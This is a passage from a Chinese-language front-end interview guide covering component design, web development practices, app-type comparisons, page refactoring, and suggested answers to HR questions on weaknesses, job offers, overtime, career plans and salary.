  • 通信:父传子用 props,子传父用事件回调,跨层级用 Context/provide-inject(别滥用)
  • 关注三类可扩展点:内容(插槽)、行为(事件回调)、样式(class/style 透传、CSS 变量)
  • 别忘了非功能需求:无障碍(role/aria/键盘操作)、国际化、暗色模式、SSR 兼容
  • 分层:基础组件(纯 UI 无业务)→ 业务组件 → 页面,只有基础组件才追求高度通用
  • 配套:TypeScript 类型定义 + Storybook 文档 + 单测

组件封装的核心是单一职责和可复用,同时通过清晰、适量的接口降低使用成本。 我一般会先分析布局与交互,再完成基础结构和样式,之后删除冗余代码并提取通用能力。命名、文档、示例和测试也要跟上,否则组件虽然能复用,却很难维护。基础组件可以更通用,业务组件则应贴近实际需求,不必为了覆盖所有场景堆很多配置。

组件封装是前端开发中常用的技术手段,它的目的是为了实现代码的重用、提高开发效率和代码质量。在组件封装过程中,需要注意以下几个方面:

  1. 分析布局:首先需要对布局进行分析,确定组件的结构和样式。了解组件在不同场景下的表现形式和行为。
  2. 初步开发:根据布局的分析,开始进行组件的初步开发,包括HTML结构、CSS样式和基本的交互行为。
  3. 化繁为简:在初步开发的基础上,对组件进行优化和简化。去除冗余的代码,提取通用的样式和功能,确保组件的精简和高效。
  4. 组件抽象:在封装组件时,需要将组件的功能进行抽象,使其具有单一的职责和可复用性。将组件的各个部分分离,并提供适当的接口和配置项,使组件的使用更加灵活。

常用的操作包括:

  • 使用合适的命名规范,保证组件的易读性和可维护性。
  • 提供必要的文档和示例,方便其他开发人员使用和理解组件。
  • 尽量降低组件与外部环境的耦合度,使其在不同的项目中都能够灵活使用。
  • 考虑组件的可扩展性,使其能够适应未来的需求变化。
  • 在开发过程中进行测试,确保组件的功能和性能达到预期。

通过良好的组件封装实践,可以提高代码的可维护性、可复用性和可测试性,加快开发速度,减少重复劳动,并提升整体的代码质量。

# 7 Web 前端开发的注意事项

⚡ 30 秒速记

  • 兼容性:用 Browserslist 声明目标,交给 Babel/Autoprefixer 处理,别手写 UA 判断
  • 性能:控制包体积、图片按需和现代格式、避免长任务、关注 Core Web Vitals
  • 安全:XSS 转义输出、CSRF Token、CSP、依赖定期审计、密钥不进前端代码
  • 无障碍:语义化标签、键盘可达、焦点可见、对比度达标、图片有 alt
  • 移动端:viewport 设置、安全区适配、点击热区不小于 44px、避免 hover 依赖
  • 健壮性:接口失败要有兜底 UI、空态和加载态要设计、错误边界兜住渲染崩溃
  • 可观测:接错误监控和性能监控,线上问题能定位

Web 前端开发要同时兼顾适配、兼容性、性能、安全和代码可维护性。 移动端应正确设置 viewport,结合百分比布局、box-sizing: border-box、rem 和媒体查询适配不同尺寸。性能上可通过缓存、资源压缩和减少请求改善加载速度,安全上要防范 XSS、CSRF 等常见问题。上线前还要覆盖主流浏览器、不同机型和系统测试,不能只在开发机上验证。

在进行Web前端开发时,有一些注意事项可以帮助你提高开发效率和代码质量,以下是一些常见的注意事项:

  1. 特别设置meta标签viewport:通过设置viewport来适配不同设备的屏幕大小,确保网页在移动设备上有良好的显示效果。
  2. 使用百分比布局宽度:使用百分比来设置元素的宽度,结合box-sizing: border-box;可以更好地适应不同屏幕大小。
  3. 使用rem作为计算单位:使用rem作为字体大小和元素尺寸的计算单位,rem相对于根节点html的字体大小,可以实现响应式的布局。
  4. 使用CSS3新特性:充分利用CSS3提供的新特性,如弹性盒模型、多列布局、媒体查询等,来简化布局和样式的编写,并提升用户体验。
  5. 多机型、多尺寸、多系统覆盖测试:在开发过程中,要充分考虑不同设备、不同屏幕尺寸和不同操作系统的兼容性,进行全面的测试,确保网页在各种环境下都能正常显示和工作。

此外,还有一些其他的注意事项:

  • 优化网页性能:合理使用缓存、压缩资源、减少HTTP请求等方式来提升网页的加载速度和响应性能。
  • 代码规范和可维护性:遵循一致的命名规范,使用合适的注释,拆分模块,保持代码的可读性和可维护性。
  • 跨浏览器兼容性:测试和确保网页在主流浏览器(如Chrome、Firefox、Safari、Edge等)上都能正常运行。
  • 安全性:注意防止常见的Web安全漏洞,如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等。

综上所述,注意这些事项可以帮助你开发出更高质量、更兼容性好的Web前端项目。

# 8 在设计 Web APP 时,应当遵循以下几点

⚡ 30 秒速记

  • 移动优先:从小屏开始设计,逐级增强,CSS 体积更小逻辑更清晰
  • 即时反馈:任何操作 100ms 内要有响应,超过 1 秒要有加载态,超过 10 秒要能取消
  • 骨架屏优于转圈:让用户感知到"内容正在来",主观等待时间更短
  • 防止布局跳动:图片和广告位预留尺寸,CLS 控制在 0.1 以内
  • 离线与弱网:Service Worker 缓存关键资源,失败要有重试和友好提示
  • 触摸友好:热区足够大、避免依赖 hover、支持手势但要有替代操作
  • 渐进增强:核心内容不依赖 JS(SSR),交互体验靠 JS 增强
  • 尊重系统偏好:暗色模式、减少动效(prefers-reduced-motion)、字号缩放

设计 Web App 时应保持界面和操作简单,让用户更快找到重点并完成任务。 动画、图形和文字样式只在确实有帮助时使用,过度装饰反而会干扰内容。手势也要克制,既要避免操作复杂,也要防止与浏览器原有手势冲突。内容较多时可用局部刷新或异步加载减少页面跳转,并用合适的加载提示和清晰层级缓解等待感。

在设计Web APP时,可以遵循以下几点来提升用户体验和页面效果:

  1. 简化不重要的动画/动效/图形文字样式:避免过度使用动画效果和视觉元素,保持页面简洁和清晰。只在必要的地方使用动画,确保其对用户体验有积极影响。
  2. 少用手势,避免与浏览器手势冲突:在设计交互时,尽量减少需要用户进行复杂手势操作的情况,避免与浏览器自带手势产生冲突。保持用户操作的简洁性和一致性。
  3. **减少页面内容和跳转次数:优化页面内容,保持简洁明了,尽量在当前页面展示所需的信息和功能,避免频繁的页面跳转。通过局部刷新、异步加载等技术手段来提升用户体验和页面加载速度。
  4. 增强Loading趣味性,增强页面主次关系:在加载过程中,可以设计有趣的加载动画或提示,提高用户的等待体验。同时,通过合适的页面布局和元素设计,突出页面的主要内容和功能,帮助用户更快地获取所需信息。

综上所述,遵循以上设计原则可以使Web APP在用户体验和页面效果方面更出色,提供更好的用户体验和用户参与感。

# 9 你怎么看待 Web App/hybrid App/Native App?(移动端前端 和 Web 前端区别?)

⚡ 30 秒速记

  • Web App:浏览器直接访问,无需安装、更新即时、开发成本最低;但性能一般、设备能力受限、iOS 对 PWA 支持弱
  • Hybrid App:原生壳 + WebView,能通过 JSBridge 调用原生能力,兼顾迭代速度和设备能力;受 WebView 性能和版本碎片化影响
  • Native App:性能和体验最好、设备能力全开;但双端开发成本高、发版要审核
  • 跨端方案:React Native / Flutter 接近原生性能且一套代码多端;小程序分发好但平台受限
  • 选型看三个因素:性能要求、迭代频率、团队构成
  • 移动端前端与 Web 前端的差异:要处理触摸事件、安全区、机型碎片化、弱网、离线包、与原生的通信和路由协同

Web App、Hybrid App 和 Native App 没有绝对优劣,关键是平衡开发成本、更新方式、体验和设备能力。 Web App 跨平台且更新方便,但相机、GPS、推送和图形效果会受限制;Hybrid App 用 WebView 兼顾部分原生体验与离线能力,但性能通常较慢。Native App 体验和本地资源访问更强,却要承担多系统开发、版本更新和商店审核成本。移动端开发还要额外关注触摸手势、屏幕适配和设备能力,而普通 Web 前端更侧重响应式与浏览器兼容。

  • Web App(HTML5):采用HTML5生存在浏览器中的应用,不需要下载安装
    • 优点:开发成本低,迭代更新容易,不需用户升级,跨多个平台和终端
    • 缺点:消息推送不够及时,支持图形和动画效果较差,功能使用限制(相机、GPS等)
  • Hybrid App(混合开发):UI WebView,需要下载安装
    • 优点:接近 Native App 的体验,部分支持离线功能
    • 缺点:性能速度较慢,未知的部署时间,受限于技术尚不成熟
  • Native App(原生开发):依托于操作系统,有很强的交互,需要用户下载安装使用
    • 优点:用户体验完美,支持离线工作,可访问本地资源(通讯录,相册)
    • 缺点:开发成本高(多系统),开发成本高(版本更新),需要应用商店的审核

移动端前端和Web前端在某些方面存在区别,如下所示:

  1. 开发环境和技术:移动端前端主要面向移动设备,需要熟悉移动端的开发环境和相关技术,如React Native、Flutter、Ionic等。而Web前端则主要面向浏览器,使用HTML、CSS、JavaScript等技术进行开发。
  2. 用户体验和交互:移动端前端需要更关注移动设备的特性和用户体验,例如触摸操作、手势识别、屏幕适配等,以提供更好的移动端交互体验。而Web前端则更注重页面的响应式设计和跨浏览器兼容性,以确保在不同浏览器和设备上的良好表现。
  3. 功能支持和限制:移动端前端开发可能会受到一些限制,如对设备资源的访问(相机、GPS等)、消息推送的限制等。而Web前端在功能上较为灵活,可以通过浏览器提供的API和插件来实现一些高级功能。
  4. 部署和更新:移动端前端需要通过应用商店进行发布和更新,需要经过审核和下载安装。而Web前端则可以直接通过URL访问,无需下载安装,便于部署和更新。

综上所述,移动端前端和Web前端在开发环境、用户体验、功能支持和部署等方面存在一些区别,开发者需要根据具体需求和平台选择合适的开发方式。同时,随着技术的不断发展,Hybrid App和Web App的出现使得移动端前端在一定程度上能够接近Native App的体验。

# 10 页面重构怎么操作

⚡ 30 秒速记

  • 先做现状盘点:梳理页面结构、样式依赖、交互逻辑,标出哪些是"活代码"哪些是死代码
  • 加保护网:补上关键路径的自动化测试或至少截图对比(视觉回归),否则不敢动
  • 结构先行:用语义化标签重写 HTML 骨架,保证无样式时文档依然可读
  • 样式重建:抽变量、定分层(基础/布局/组件/工具)、消除权重堆叠和 !important
  • 行为解耦:把 DOM 操作从业务逻辑里分离,逐步组件化
  • 小步替换:按模块灰度上线,每步可回滚,别一次全量替换
  • 验收标准提前定好:性能指标、无障碍检查、多端回归 —— 重构必须有可衡量的收益

页面重构要先评估现状并规划目标,再分别处理结构、样式、脚本和资源,最后经过测试后上线。 我一般会先找出加载速度、响应性能和代码结构上的问题,因为没有明确目标,重构很容易变成单纯重写。实施时重点优化语义化 HTML、可复用的 CSS 和模块化 JavaScript,同时压缩图片、减少请求并做好响应式适配。完成后还要覆盖不同浏览器和设备,部署后结合性能与用户反馈继续调整。

页面重构是对网站或应用程序进行优化和改进的过程,旨在提高页面性能、用户体验和代码可维护性。以下是页面重构的一般操作步骤:

  1. 分析和评估:首先,对现有页面进行全面的分析和评估。确定需要改进的方面,如页面加载速度、响应性能、代码结构等。
  2. 设计和规划:根据分析的结果,设计新的页面结构和布局,并规划重构的步骤和优化策略。确保重构后的页面能够提供更好的用户体验和性能。
  3. HTML重构:根据设计和规划,对HTML代码进行重构。优化标签的结构和语义化,使用合适的标签和属性,去除冗余代码和不必要的嵌套。
  4. CSS重构:对CSS样式进行重构,优化样式的选择器和属性的使用。遵循CSS规范,减少样式冗余,提高样式的复用性和可维护性。
  5. JavaScript重构:对JavaScript代码进行重构,优化代码的结构和逻辑。使用模块化开发和设计模式,减少全局变量的使用,提高代码的可读性和可维护性。
  6. 图片和资源优化:对页面中的图片和其他资源进行优化,压缩文件大小,提高加载速度。使用合适的图片格式,使用雪碧图或矢量图标减少HTTP请求。
  7. 响应式设计:考虑不同设备和屏幕尺寸的适配,使用响应式布局和媒体查询,确保页面在不同设备上具有良好的展示效果。
  8. 性能优化:优化页面的性能,包括减少HTTP请求,使用缓存机制,延迟加载和异步加载资源,合理使用CSS和JavaScript动画效果等。
  9. 测试和调试:在重构完成后,进行全面的测试和调试,确保页面在不同浏览器和设备上正常运行,并验证重构的效果和改进是否符合预期。
  10. 部署和上线:将重构后的页面部署到生产环境,并监控其性能和用户反馈。根据反馈和数据进行进一步的优化和改进。

页面重构是一个综合性的工作,需要综合考虑页面结构、样式、脚本和性能等方面的优化。通过合理的规划和操作,可以提升页面的质量、性能和用户体验。

# 十一、HR面相关

# 常见问题

⚡ 30 秒速记

  • HR 面考察的不是技术,是三件事:稳定性(会不会很快离职)、匹配度(能不能干这活)、协作性(好不好共事)
  • 万能结构 STAR:Situation 背景 → Task 任务 → Action 我做了什么 → Result 可量化的结果
  • 自我介绍控制在 1-2 分钟:现状 + 一个最相关的项目亮点 + 为什么投这个岗位
  • 所有回答都要落到"具体事例 + 数字",避免形容词堆砌
  • 面试是双向的,最后一定要提问 —— 问团队构成、业务阶段、技术挑战,别只问薪资福利

常见面试问题要结合自己的真实经历回答,重点让面试官看清岗位匹配度、学习能力和职业规划。 自我介绍、项目难点、性能优化等问题,最好用具体背景说明自己做了什么,避免只堆“负责、熟悉、热爱”这类空话。谈缺点、离职或加班时要坦诚,但也要说明自己的边界、改进方式和职业考虑。面试结束可以主动了解部门业务、团队协作和技术栈,因为面试本身也是双向选择。

  1. 自我介绍
    • 自我介绍时,可以提及个人的背景、教育经历、工作经验和技能特长,突出与应聘职位相关的成就和能力。
  2. 面试完你还有什么问题要问的吗?
    • 可以问一些之前提到的关于公司、部门、团队、项目以及职位的问题,以进一步了解潜在工作机会的细节和整体情况。
  3. 你有什么爱好?
    • 可以提及个人的爱好和兴趣,例如读书、旅行、运动、音乐、社交活动等。这能够展示你的多元化和个人生活外的兴趣领域。
  4. 你最大的优点和缺点是什么?
    • 在回答这个问题时,可以结合个人的实际情况,提及你在工作中表现出的优点,如团队合作、自我驱动、问题解决能力等,并且诚实地提及你认为的改进空间或缺点,并说明你在努力改进。
  5. 你为什么会选择这个行业、职位?
    • 可以分享个人对该行业的兴趣和热爱,以及对相关技能和挑战的认可。强调个人与该行业、职位的契合度,以及追求个人发展和成长的动力。
  6. 你觉得你适合从事这个岗位吗?
    • 回答时可以结合个人的技能、经验和特长,阐述为什么你认为自己是一个适合该岗位的人选,并举例说明相关的工作经历和成就。
  7. 你有什么职业规划?
    • 可以分享个人在未来职业发展方面的目标和计划,例如短期和长期的职业规划、技能提升和学习的重点,以及希望在哪些方面取得进展和成就。
  8. 你对工资有什么要求?
    • 在回答这个问题时,可以表达对市场薪资的了解,并根据个人的技能、经验和职位要求,提出一个合理的薪资范围,同时强调自己对工作内容和发展机会的重视。
  9. 如何看待前端开发?
    • 可以表达对前端开发的重要性和价值的认识,以及对前端技术的兴趣和热情。可以提及前端在用户体验和界面设计方面的作用,以及前端与后端、设计团队的紧密合作,共同构建出优秀的产品和应用的重要性。
    • 同时,可以强调前端开发的快速发展和不断演进的特点,需要不断学习和跟进最新的技术趋势和工具,以提供最佳的用户体验和响应式的界面设计。可以谈论自己对前端技术的持续学习和探索,并且强调自己愿意面对前端开发中的挑战和解决复杂问题的能力。
    • 此外,可以提及前端开发在移动端和跨平台开发方面的重要性,以及在不同浏览器和设备上保持一致性的挑战。最重要的是,强调自己对前端开发的热情和对构建出优质用户体验的追求。
  10. 未来三到五年的规划是怎样的?
  • 可以描述个人在未来三到五年内希望在职业发展方面达到的目标和计划。可以包括技术方面的深入学习、项目管理经验的积累、团队领导能力的提升等方面。
  1. 你的项目中技术难点是什么?遇到了什么问题?你是怎么解决的?
  • 可以选择一个具体的项目经历,描述其中遇到的技术难点和问题,并详细说明你是如何面对挑战、寻找解决方案以及最终解决问题的经验和能力。
  1. 你们部门的开发流程是怎样的?
  • 可以询问对方关于公司部门的开发流程、敏捷开发方法、版本控制工具等方面的情况,以了解公司在软件开发过程中的组织方式和团队协作模式。
  1. 你认为哪个项目做得最好?
  • 可以选择一个你参与过或者熟悉的项目,介绍其中的亮点、成就和对团队和业务的贡献,突出个人在项目中的角色和贡献。
  1. 说下工作中你做过的一些性能优化处理。
  • 可以提及个人在项目中对性能优化方面所做的工作,例如代码优化、资源压缩、缓存策略、异步加载等方法,以及通过性能测试和监控来评估和改进应用的性能。
  1. 最近在看哪些前端方面的书?
  • 可以分享个人最近阅读的与前端开发相关的书籍,可以是关于新技术、前端框架、设计模式、性能优化等方面的书籍,以展示自己对前端领域的持续学习和进展。
  1. 平时是如何学习前端开发的?
  • 可以描述个人平时学习前端开发的方法和途径,例如阅读技术博客、参与在线课程、实践项目、参加技术交流会议等,以展示自己的学习能力和对前端领域的持续关注。
  1. 你最有成就感的一件事
  • 可以分享个人在工作或项目中取得的最有成就感的经历,强调个人的努力、贡献和团队合作所取得的成果,突出自己的成就和价值。
  1. 你为什么要离开前一家公司?
  • 在回答这个问题时,可以提及离职的原因,例如寻求更好的职业发展机会、追求个人成长和挑战、寻找更适合自己的工作环境等。重点强调离职的决策是出于个人发展和职业目标的考虑。
  1. 你对加班的看法?
  • 可以表达个人对加班的态度和看法。可以强调平衡工作和生活的重要性,同时指出愿意在关键时期适当加班以完成任务,但也强调重视工作效率和合理分配工作时间的重要性。
  1. 你希望通过这份工作获得什么?
  • 可以说明个人对这份工作的期望和目标,例如获取更丰富的经验和技能、发展个人的专业能力、与优秀的团队合作、为公司的成功做出贡献等。重点强调自己对工作的积极态度和对职位的热情。

请注意,以上只是一些常见问题的示例回答,具体回答应根据个人实际情况进行调整和提炼,以展现个人的优势、能力和适应性。同时,回答问题时要真实、坦诚,与面试官进行积极互动,展现自己的价值和潜力。

前端常见面试流程

最后一个问题:面试官问,你想了解什么(面试一定要问这几个问题)

当面试官问到你有什么想了解的问题时,以下是一些问题可以提出:

  1. 关于部门和业务:
    • 可以请面试官介绍一下该部门所负责的产品和业务领域,了解其在行业中的地位和竞争优势。
    • 询问产品的用户规模和市场份额,以了解产品的受欢迎程度和发展潜力。
  2. 关于团队和角色:
    • 询问部门的规模和组成,包括团队人数和各个角色的分布,以了解团队的规模和组织结构。
    • 可以问一下团队中的协作方式和沟通流程,以了解团队的工作氛围和协作效率。
  3. 关于技术栈和项目:
    • 可以请面试官介绍一下当前项目所使用的技术栈和开发工具,了解技术栈的现状和是否与自己的技术背景匹配。
    • 询问有关技术团队的技术发展和创新方向,以了解团队在技术上的前瞻性和成长空间。

这些问题可以帮助你更好地了解潜在工作机会的方方面面,包括产品、团队和技术等关键要素。同时,通过提出这些问题,你还能展现出你对公司和职位的兴趣,并显示出你对细节和整体情况的关注。

# 你觉得你有哪些不足之处

⚡ 30 秒速记

  • 不要说"我太追求完美"这类假缺点,HR 一天听八遍
  • 也不要说致命缺点(不能加班、不擅长沟通、学不进新东西)
  • 正确结构:说一个真实但不致命的不足 + 你已经在做什么改进 + 已经看到的效果
  • 例:早期只顾实现不写文档,导致交接成本高;后来强制自己在 PR 里写设计说明,团队新人上手时间明显缩短
  • 关键在后半段:HR 真正想看的是你有没有自我觉察和改进能力

我会坦诚说明一个非核心技术领域的不足,同时讲清楚正在采取的改进措施和预计补齐的时间。 例如脚手架使用还不够熟练,或者对 Node.js 的理解需要继续深入,这类问题真实存在,但不会直接否定前端岗位的核心能力。相比迟到、不擅长沟通等非技术缺点,技术短板更容易界定和改善。边界是不能把岗位必需的核心技术说成完全没有实践,否则会直接影响匹配度。

  • 我觉得自己在xx方面存在不足(不足限制在技术上聊,不要谈其他容易掉HR的坑里)
  • 但我已意识到并开始学习
  • 我估计在xx时间把这块给补齐

要限定一个范围

  • 技术方面的
  • 非核心技术栈的,即有不足也无大碍
  • 些容易弥补的,后面才能“翻身”

错误的示范

  • 我爱睡懒觉、总是迟到 —— 非技术方面
  • 我自学的 Vue ,但还没有实践过 —— 核心技术栈
  • 我不懂 React —— 技术栈太大,不容易弥补

正确的示范

  • 脚手架,我还在学习中,还不熟练
  • nodejs 还需要继续深入学习

# 你觉得你最大的缺点是什么

⚡ 30 秒速记

  • 与上一题同一考点,答法一致:真实 + 不致命 + 有改进行动 + 有结果
  • 可以选"技能维度"的不足(某个领域经验少),比"性格维度"更安全
  • 例:后端和数据库经验偏弱,影响了和后端对齐接口的效率;最近在系统补 SQL 和接口设计,现在能主动提出接口方案
  • 避免踩雷:别说和岗位核心要求直接冲突的缺点
  • 语气要坦然,遮遮掩掩反而显得不真诚

我最大的缺点会选择与工作相关、但不影响岗位核心职责的一项能力短板,并说明自己如何补足。 比如前端开发对运维和部署经验相对不足,是因为过去工作中使用机会不多,而不是缺少学习意愿。发现问题后,可以通过书籍、教学视频和技术社区持续学习,并在交流中校正理解。这里不能选择与岗位核心要求直接冲突的缺点,也不必用虚假的性格优点来包装。

当被问到自己最大的缺点时,可以使用以下策略来回答:

  1. 弱点与职业相关:提到一个与你当前从事的职业相关的弱点。例如,如果你是前端开发人员,可以说你在运维和部署方面的知识和经验相对不足;如果你是后端开发人员,可以提到对于炫酷的页面交互设计方面的熟悉度还有待提高。
  2. 突出学习态度:将你的缺点与积极的学习态度联系起来。举例来说,你可以说在过去的工作中,由于工作要求没有经常使用某个特定的技术栈,因此对该技术栈的理解还不够深入。但你强调自己的好学心态,并说明你主动购买相关书籍、观看教学视频,并利用业余时间积极学习和探索。
  3. 自我进步与分享:强调你在个人成长方面所做的努力和投入。提到每天下班后用一个小时的时间参与技术论坛(如掘金、CSDN等),阅读他人的文章,并与他们交流和分享自己的疑惑。强调通过与他人互动,共同进步,并逐渐增强自己在该领域的专业知识。

通过这种回答方式,你不仅能够坦诚地承认自己的缺点,还能够展示自己的学习能力和积极进取的态度,给面试官留下积极向上的印象。

# 你还有其他公司的Offer吗?

⚡ 30 秒速记

  • HR 问这个是在判断你的市场竞争力和决策紧迫度
  • 有就实话说,但不要报具体公司名和薪资数字,可以说"在推进中的还有一两家,同行业规模相近"
  • 顺势表达倾向:"综合看下来更看重贵司在 X 方面的机会",把话题引回你对这个岗位的兴趣
  • 没有也不用心虚,可以说"目前专注在几个真正感兴趣的方向,贵司是其中之一"
  • 千万别虚构 offer 施压 —— 一旦被追问细节会很难圆,且圈子小容易穿帮

目前确实还有几个 Offer 在同步推进,但具体公司名称不方便透露。 相比机会数量,我更关注工作内容、团队文化和后续发展,贵司仍是我优先考虑的选择。如果最终薪资差距不大,我会更倾向于选择与职业规划匹配的岗位。另外有一两个机会希望我尽快答复,所以也想了解贵司后续流程的大致时间,但我会尊重正常的招聘节奏。

在回答是否有其他公司的Offer时,可以使用以下方式:

  1. 确认有多个Offer:表示自己已经收到了多个工作机会的邀约,可以说有三四个已经确认过的Offer。但是,避免透露具体公司的名称,以避免违反保密约定或造成不必要的麻烦。
  2. 表示对本公司的意向:强调对本公司的兴趣和优先考虑。可以说,尽管有多个Offer,但本公司是你的首选,你对这里的工作环境、文化以及发展机会很感兴趣。如果薪资差距不大,你会倾向于选择本公司。
  3. 提及其他催促的Offer:透露有一两个Offer对你的决定比较急迫,希望本公司能够尽快给出结果。这样可以传达你对本公司的热忱,同时给予HR或招聘团队一些压力,加快决策的速度。

重要的是,保持真实和诚实,并且在回答时展现出对本公司的兴趣和积极性,但不要过于咄咄逼人或给人留下不专业的印象。

# 为什么从上一家公司离职?

⚡ 30 秒速记

  • 核心原则:不说前东家和前同事的坏话,哪怕真的很糟
  • 把理由归到"发展方向"而不是"人和事":业务收缩、技术栈与个人规划不符、想去更大的平台/更深的领域
  • 结构:客观现状 + 我的诉求 + 为什么贵司能满足
  • 例:"上家公司主营业务转向 To B 定制,前端偏配置化,我更想深耕 C 端复杂交互和性能优化,看到贵司这个岗位正好在做 X"
  • 被裁员也可以坦然说是组织调整,重点讲这段经历学到了什么
  • 忌讳:抱怨加班、抱怨领导、抱怨同事、只说钱少

我离职主要是因为原来的工作条件和个人发展诉求不再匹配,希望寻找更合适的机会。 比如通勤时间过长、长期加班,会挤压学习和提升专业能力的时间;同时,原岗位的成长和晋升空间也比较有限。我更希望进入一个有挑战、能持续学习并为团队创造更大价值的环境。如果还涉及薪资或文化因素,我也会客观说明,但不会因此负面评价前公司或同事。

在回答为什么离开上一家公司时,可以提及以下原因:

  1. 长时间通勤:可以说公司搬迁导致通勤时间变得过长,例如三个小时的通勤时间。这样的情况下,每天花费在路途上的时间过多,影响到了工作与生活的平衡。
  2. 工作与生活平衡:可以表达对工作与生活平衡的追求。指出在上一家公司由于长时间加班,没有足够的时间用于个人发展和充电,无法提高自己的技能和知识。这可能是导致你寻求一个更好的工作环境和更好的生活质量的原因之一。
  3. 进一步发展:强调你对个人职业发展的追求。指出你在上一家公司的成长空间有限,希望能够找到一个更有挑战性和发展机会的岗位。你希望能够在新的工作环境中学习和成长,并为公司做出更大的贡献。
  4. 其他因素:除了以上原因,还可以提及其他可能的因素,如公司文化不符合个人价值观、缺乏晋升机会或薪资待遇不合理等。但需要注意,避免过于负面或批评性的表达,以保持专业和积极的形象。

重要的是,在回答时保持真实性和诚实性,并强调你离开的原因与你目前的职业目标和对新公司的期望相符合。

# 如何看待加班(996)?

⚡ 30 秒速记

  • 这题是在试探你的态度,不是让你表忠心,也不是让你划红线
  • 推荐立场:接受因项目节点产生的合理加班,但不认同长期无效加班,因为它损害产出质量
  • 加一句能体现专业性的话:更关注结果和效率,会主动通过工具和流程优化减少无效加班
  • 可以反问了解真实情况:"团队目前的常态节奏大概是怎样的?"—— 既表明态度也获取信息
  • 忌讳:斩钉截铁说"绝不加班"(显得不合作),或者说"随便加多久都行"(显得没有判断力,也容易被压榨)

我能接受项目交付或突发问题带来的紧急加班,但不认为长期 996 应该成为常态。 紧急情况下,我会配合团队把任务完成,这是团队成员应有的责任;如果个人长期加班,我会先检查时间管理、任务安排和工作流程。能通过自动化工具或协作方式提升效率的,我会主动推动改进。如果整个团队长期加班,我也会和大家一起定位问题,在交付要求与工作生活平衡之间寻找更合理的方案。

  • 对于加班(996)这个话题,我的观点是将其分为紧急加班和长期加班两种情况,并采取不同的态度和应对方式。
  • 首先,对于紧急加班,我理解在某些情况下,公司和团队可能面临紧迫的项目交付或突发的问题需要解决。在这种情况下,我愿意主动承担加班工作,牺牲自己的时间来帮助公司和团队完成任务。我认为这是每个公司都会遇到的情况,作为团队成员,我愿意以身作则,积极配合团队的需要。
  • 然而,对于长期加班,我持有不同的观点。如果我个人长期加班,我会认为这是一个机会来磨练自己的技能,并提高工作效率。长期加班可能是因为时间管理不当、工作安排不合理或者缺乏高效的工作流程等原因造成的。在这种情况下,我会积极寻找解决问题的方式,如优化个人工作流程、学习和应用自动化工具、改进协作方式等,以提高工作效率并摆脱长期加班的状态。
  • 如果是团队长期加班,我会尝试帮助团队找到问题所在,并提出改进方案。我会与团队成员一起探讨和实施高效的协作流程,引入适当的自动化工具和技术,以提高整个团队的工作效率。我认为通过团队的努力,可以摆脱长期加班的局面,使工作更加高效、有序,并确保成员的工作与生活平衡。
  • 总的来说,我认为加班在某些情况下是不可避免的,但长期加班不应该成为常态。我会尽力提高个人和团队的工作效率,找到问题所在,并积极采取措施解决,以实现工作与生活的平衡。同时,我也鼓励团队成员之间的相互支持和合作,共同努力营造一个高效、有序的工作环境。

# 你对未来3-5年的职业规划

⚡ 30 秒速记

  • HR 关心的是:你的规划和这个岗位能不能长期匹配,会不会干半年就跑
  • 结构建议:1 年内(快速上手业务、补齐某项短板)→ 2-3 年(成为某个方向的核心,比如性能或工程化)→ 3-5 年(技术专家或带小团队)
  • 一定要和应聘岗位挂钩,让 HR 看到"你的成长路径正好在我们这里能实现"
  • 忌讳:说要转行、要创业、要考公、"还没想好"
  • 也别把话说得太满("三年内做到架构师"),显得不切实际

未来三到五年,我希望持续提升专业能力,逐步成为能独立解决复杂问题并承担更多责任的核心成员。 我会先把本职工作做好,同时跟进行业发展,通过学习、培训和实践补齐能力短板。经验积累到一定程度后,我也希望带动其他成员成长,把学习成果分享给团队。我的目标不是只追求职位变化,而是在专业深度、团队影响力和实际贡献上取得稳定突破。

  • 对于未来3-5年的职业规划,我已经认真考虑过,并且有一些明确的目标和计划。目前,我正处于职业发展的早期阶段,我希望能够在现有的岗位上不断提升自己,并逐步承担更高级别的责任和挑战。
  • 从工作本身出发,我计划通过持续努力和学习,不断提高自己的技术能力和解决问题的能力。我将致力于出色完成本职工作,同时积极与团队合作,为团队的成功贡献我的力量。我希望能够带领团队的其他成员,共同创造更多的价值,并帮助团队扩大影响力,提升整个团队的表现。
  • 除了在工作中表现出色,我也非常重视学习和个人成长。我会继续精进自己的领域知识,不断跟进行业的发展动态,并通过参加培训、研讨会等途径不断提升自己的专业能力。我也愿意与团队分享我的学习成果,帮助团队中的其他成员成长和发展。
  • 总的来说,我的职业规划是在未来3-5年内通过不断学习和实践,成为在我的领域中具备丰富经验和卓越表现的专业人士。我希望能够在团队中发挥更大的作用,取得职业上的突破,并为公司的发展做出积极的贡献。

# 如何与HR谈薪资

⚡ 30 秒速记

  • 先做功课:查清目标城市、目标级别的市场区间(脉脉、看准、职级对标),心里有锚点
  • 尽量让对方先出价:"想先了解一下这个岗位的预算范围"
  • 必须先说时:给区间而不是具体数字,下限设为你能接受的最低值 +10%
  • 谈的是总包:基本工资、绩效、年终月数、股票/期权、公积金比例、补贴 —— 有些公司月薪低但年终高
  • 涨幅参考:跳槽 20-30% 是常见区间,有稀缺技能或对方急招可以更高
  • 有竞品 offer 时可以适度提及,但态度要平和,别用威胁的语气
  • 最后:所有口头承诺都要落到书面 offer 上,尤其是年终和股票部分

和 HR 谈薪资前要先摸清市场区间,并尽量让对方先说明岗位预算。 如果必须先报价,我会给出一个有谈判空间的区间,同时结合技能、经验和过往贡献说明自己的价值。沟通时不能只盯月薪,还要一起确认奖金、晋升空间、培训机会和工作时间等综合待遇。有其他 offer 可以平和地作为参考,但不要用威胁口吻,最终目标是找到双方都能接受的方案。

与HR谈薪资时,可以采取一些策略和技巧来达到更好的结果。以下是一些建议:

  1. 先了解市场行情:在面试之前,可以调研该职位在市场上的薪资范围,以便有一个大致的参考标准。这样你就能更有理据地进行讨论。
  2. 引导HR给出薪资范围**:当HR问你期望的薪资时,你可以委婉地回答:“根据我的经验和技能,我期望能够获得与市场价值相符的薪资。贵公司对该职位的薪资范围是多少呢?”这样可以让HR先给出一个参考范围,为后续的讨论提供依据。
  3. 强调你的价值:在谈论薪资时,强调你在面试中展现出的能力和潜力,以及你对公司的价值和贡献。说明你具备的技能、经验和特长,并举例说明你如何在过去的工作中为公司创造了价值。这样可以增加谈判时争取更好薪资的机会。
